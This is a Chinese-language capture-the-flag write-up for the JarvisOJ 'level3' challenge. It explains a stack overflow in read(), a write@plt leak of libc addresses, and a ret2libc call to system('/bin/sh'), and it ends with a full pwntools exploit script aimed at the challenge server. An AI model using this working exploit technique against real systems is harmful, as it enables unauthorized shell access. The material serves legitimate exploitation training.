jarvisoj_xman3

漏洞

read函数没有限制输入的长度,存在栈溢出。

计算栈溢出偏移量

ida反汇编
关键点:sub esp,88h
lea eax,[ebp+buf]
ida说eax是read函数的buf,所以偏移量就是0x88,我们需要覆盖的是ret地址,中间还隔了一个ebp,所以padding为0x88+4。

计算libc偏移量

由于是动态链接库,每次加载的基址都不一样,所以需要使用write泄露出某个libc函数的真实地址,再根据库中函数相当位置相同
推算出别的库函数的实际地址。

write函数

三个参数,通过栈传递,分别为:nbytes,buf,fd。在栈中的顺序大概是这样:

| 栈顶 |
|  fd  |
|  buf |
|nbytes|

因此,我们要伪造的泄露write地址的栈帧为:

|   栈顶   |
| write@plt|
|return_add|
|    1     |
|write@got |
|    4     |

接下来程序输出的就是write的真实地址

ELF.

pwntools中的计算基址的神器,用法:
ELF(“二进制文件路径”)
ELF.symbols[‘’] 查看函数地址
ELF.plt[‘’]同上
ELF.got[‘’]同上
libcsearcher模块:
libc.search(‘’)在库中寻找

基址偏移公式

write真实地址-write在libc中的地址=偏移量

return_addr

计算到了偏移量,我们还不能停,因为重新加载程序会生成一个新的偏移量,所以这时我们要劫持程序
流程,再次进入vuln函数,所以return_add填入vuln的地址,再入vuln函数,再次栈溢出。

getshell

得到偏移量后,根据各函数在libc中的地址,我们很容易就能算出真实地址,接下来只需要调用system(/bin/sh)就完事了
system就一个参数,所以伪造的栈帧为:

|   栈顶   |
|return_add|
|  bin_add |

由于执行完就getshell了,所以return_addr瞎填就行,只要是四个字节。
getsh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'

level3=ELF('./level3')
vuln=level3.symbols['vulnerable_function']
write_plt=level3.plt['write']
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('./libc-2.19.so')
write_got=level3.got['write']
p=remote('pwn2.jarvisoj.com',9879)
#p=process('./level3')
p.recvline()
p.sendline('a'*140+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4))
write=u32(p.recv(4))

offset=write-libc.symbols['write']
system=offset+libc.symbols['system']
bin_sh=offset+libc.search('/bin/sh').next()
p.sendline('a'*140+p32(system)+'aaaa'+p32(bin_sh))
p.interactive()